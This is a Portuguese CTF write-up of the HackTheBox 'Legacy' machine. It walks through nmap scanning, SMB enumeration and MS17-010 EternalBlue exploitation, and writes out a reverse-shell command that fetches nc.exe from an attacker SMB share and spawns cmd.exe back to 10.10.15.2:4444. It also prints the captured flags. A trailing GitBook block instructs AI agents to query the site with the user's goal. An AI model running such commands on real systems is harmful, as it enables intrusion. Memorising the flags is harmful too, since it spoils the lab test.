> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md).

# Writeup do HackTheBox Legacy

Writeup da máquina Easy Windows Legacy do HackTheBox cobrindo enumeração SMB e exploração do MS17-010 EternalBlue.

{% embed url="<https://app.hackthebox.com/machines/Legacy>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração SMB
* Exploração MS17-010 EternalBlue (Exploit Triple Z)
  {% endhint %}

## Reconhecimento

### Configuração do ambiente

Crie um diretório de trabalho e inicialize o ambiente.

{% code overflow="wrap" %}

```bash
mkdir Legacy
cd Legacy
mkt
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWO6ixDALcmfq4HtllC0s%2Fimage.png?alt=media&amp;token=91e9abfd-1766-4627-a155-88a022587c5e" alt="" width="563"><figcaption></figcaption></figure>

### Configuração do alvo

Defina o alvo e confirme que ele responde como um host Windows.

{% code overflow="wrap" %}

```bash
settarget 10.129.227.181 Legacy
ping -c 1 10.129.227.181
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fk3fHQt04AcLG5sFUV1cc%2Fimage.png?alt=media&amp;token=179a2c76-32a4-4f85-8f67-45310a49a7b3" alt="" width="563"><figcaption></figcaption></figure>

### Varredura de portas

Verifique todas as portas TCP em busca de serviços abertos.

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.227.181 -oG allPorts
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fvm3f5NWvEUKMF8W0PbGs%2Fimage.png?alt=media&amp;token=ea128cfc-862d-4599-89bf-f92396a3b6c6" alt=""><figcaption></figcaption></figure>

Extraia as portas descobertas da saída da varredura.

{% code overflow="wrap" %}

```bash
extractPorts allPorts
```

{% endcode %}

**Portas abertas:** `135`, `139`, e `445`.

Revise os serviços identificados.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNClc1QMGNPCBuGTbeWQn%2Fimage.png?alt=media&amp;token=37e5ee38-ff6b-4682-b9b9-8f8216b81f60" alt="" width="563"><figcaption></figcaption></figure>

Execute uma varredura direcionada de versão e scripts padrão. Porta `445` expõe Microsoft-DS SMB.

{% code overflow="wrap" %}

```bash
sudo nmap -sCV -p 135,139,445 10.129.227.181 -oN targeted
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F1sqSQP0kOCpts4gLVwaT%2Fimage.png?alt=media&amp;token=0ecba1af-d72f-4120-8c8d-feb6e18e095d" alt=""><figcaption></figcaption></figure>

### Enumeração SMB

Tente a enumeração anônima e a autenticação. Nenhuma das tentativas é bem-sucedida.

{% code overflow="wrap" %}

```bash
smbmap -H 10.129.227.181
smbclient -L 10.129.227.181 -N
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FxRJKM9fBWpxwx7LJdlhK%2Fimage.png?alt=media&amp;token=c783cecf-44b0-417c-8039-dcbcd5e62fdc" alt="" width="563"><figcaption></figcaption></figure>

O sistema operacional é identificado como Windows 2000, uma versão antiga do Windows.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F3MwOEYgDopqJMG9oCi1m%2Fimage.png?alt=media&amp;token=7b873e8e-19a9-4988-a7da-5af431b15b40" alt="" width="548"><figcaption></figcaption></figure>

### Pesquisa de vulnerabilidades

Pesquise exploits públicos de SMB que afetem o Windows 2000:

`exploit smb Windows 2000 LAN Manager github`

Vários scripts públicos visam vulnerabilidades nesta versão legada do Windows.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fi3B18VKEc7XwNtbsaI3V%2Fimage.png?alt=media&amp;token=b118ea65-834c-479d-a5a1-015cfc744167" alt=""><figcaption></figcaption></figure>

Use este recurso do Exploit-DB para a vulnerabilidade EternalBlue do Windows.

{% embed url="<https://www.exploit-db.com/exploits/7132>" %}

Valide a vulnerabilidade com uma varredura de script do Nmap.

{% code overflow="wrap" %}

```bash
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan
```

{% endcode %}

A varredura confirma que o alvo é vulnerável.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4huIMGt2OdpOJfsn4xuf%2Fimage.png?alt=media&amp;token=a1984211-c107-4a75-8cf9-130f1d8c3541" alt=""><figcaption></figcaption></figure>

### Exploração

Use o seguinte projeto MS17-010.

{% embed url="<https://github.com/worawit/ms17-010/>" %}

Edite o `zzzz` arquivo.

Comente a seguinte linha:

{% code overflow="wrap" %}

```bash
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
```

{% endcode %}

Copie `nc.exe` para o diretório de trabalho.

{% code overflow="wrap" %}

```bash
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
```

{% endcode %}

Compartilhe o diretório atual via SMB para transferir o binário.

{% code overflow="wrap" %}

```bash
smbserver.py share $(pwd) -smb2support
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fr1ZbLUzjqHfJwwSNtcWS%2Fimage.png?alt=media&amp;token=13ae723e-4c50-490c-a0fe-15eb37450500" alt="" width="563"><figcaption></figcaption></figure>

Atualize o script com o caminho SMB e o comando de shell reversa abaixo.

### Shell reversa

Inicie um listener na porta `4444`.

{% code overflow="wrap" %}

```bash
rlwrap nc -nvlp 4444
```

{% endcode %}

Substitua o comando no script por:

{% code overflow="wrap" %}

```bash
service_exec(conn, r'cmd.exe /c copy \\10.10.15.2\share\nc.exe C:\Windows\Temp\nc.exe && C:\Windows\Temp\nc.exe -e cmd.exe 10.10.15.2 4444')
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTs188RCk2JC5ULFMuomq%2Fimage.png?alt=media&amp;token=1c398e9c-3b47-403b-a8cc-b1bc193beffc" alt=""><figcaption></figcaption></figure>

### Flags

Recupere a flag do usuário.

{% code overflow="wrap" %}

```bash
type "C:\Documents and Settings\john\Desktop\user.txt"
```

{% endcode %}

* e69af0e4f443de7e36876fda4ec7644f

O shell também fornece acesso à flag de Administrador.

{% code overflow="wrap" %}

```bash
type "C:\Documents and Settings\Administrator\Desktop\root.txt"
```

{% endcode %}

* 993442d258b0e0ec917cae9e695d5713

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEJRmsBEwGYMckLCzdpsX%2Fimage.png?alt=media&amp;token=e871c9c9-8c01-4b92-a82a-c16d95c79d94" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fao1H1Vv1Y3iTttCs9lMR%2Fimage.png?alt=media&amp;token=f8112ef8-ee13-423f-a172-8b75880e305f" alt="" width="495"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
